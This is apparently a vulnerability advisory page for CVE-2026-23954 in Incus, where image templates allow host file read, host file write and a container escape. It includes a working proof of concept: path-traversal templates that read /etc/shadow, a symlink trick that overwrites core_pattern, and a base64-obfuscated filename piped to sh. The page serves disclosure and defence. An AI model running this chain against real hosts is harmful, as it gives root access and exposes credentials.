CVE-2026-23954: Incus container image templating arbitrary host file read and write
Summary A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.
Published Jan 22, 2026 · Updated Mar 27, 2026
Affected packages
github.com/lxc/incus/v6/cmd/incusd
- Ecosystem
- Go
- Affected
- < 6.21.0
- Fixed in
- No patched version yet
- Check
go list -m github.com/lxc/incus/v6/cmd/incusd
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.
Details
When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following metadata.yaml snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:
templates:
/shadow:
when:
- start
template: ../../../../../../../../etc/shadowAdditionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:
templates:
/realroot/proc/sys/kernel/core_pattern:
when:
- start
template: core_pattern.tplWhere the container root filesystem contains a symbolic link named /realroot pointing to /. This will cause the contents of the template (from the normal "templates" directory in this case) to be written to the host root filesystem as root.
This can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting /proc/sys/kernel/core_pattern, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.
This vulnerability can be exploited by any user who can launch a new container with a custom image.
Exploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).
[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215 [2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294
PoC
A proof of concept script for the following can be found attached, named template_arbitrary_write.sh, which will show reading of a file from the host filesystem (/etc/shadow), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (/template_arbitrary_write_cmd_exec_poc).
Manual Reproduction steps:
- Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs
- Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e
ln -s / rootfs/realroot) - Create a directory named “templates” alongside the rootfs directory. Include a file
core_pattern.tplcontaining|/bin/sh -c "%E" - Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (
chmod +x rootfs/stage2 - Create a
metadata.yamlfor this image. Sample listed below - Create the image archive (
tar cf poc.tar *) and import into incus (incus image import poc.tar --alias poc) - Launch the newly imported image and obtain a shell (
incus launch poc poc --ephemeral; incus shell poc) - Observe that the file
/shadowinside the container contains the contents of the/etc/shadowfile from the host (host file read vulnerability) - Compile
segfault.cinto a file namedx$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh). This filename will be interpolated into the%Evalue set in thecore_patternby the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs. - Execute the compiled binary (e.g
/x*). Observe the creation of the file/template_arbitrary_write_cmd_exec_pocon the host, containing the output of 'id' showing command execution by the host root user.
segfault.c:
int main() {
int *p = 0;
*p = 42;
return 0;
}stage2:
#!/bin/sh
id > /template_arbitrary_write_cmd_exec_pocmetadata.yaml:
architecture: x86_64
creation_date: 1
properties:
architecture: amd64
description: Exploit
os: Exploit
release: Exploit 1.0
templates:
/shadow:
when:
- start
template: ../../../../../../../../etc/shadow
/realroot/proc/sys/kernel/core_pattern:
when:
- start
template: core_pattern.tplImpact
A user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.
Attachments
Credited to rmcnamara-snyk, stgraber.
References
- https://github.com/lxc/incus/security/advisories/GHSA-7f67-crqm-jgh7
- https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215
- https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294
- https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh
- https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch
- https://nvd.nist.gov/vuln/detail/CVE-2026-23954
- https://github.com/advisories/GHSA-7f67-crqm-jgh7
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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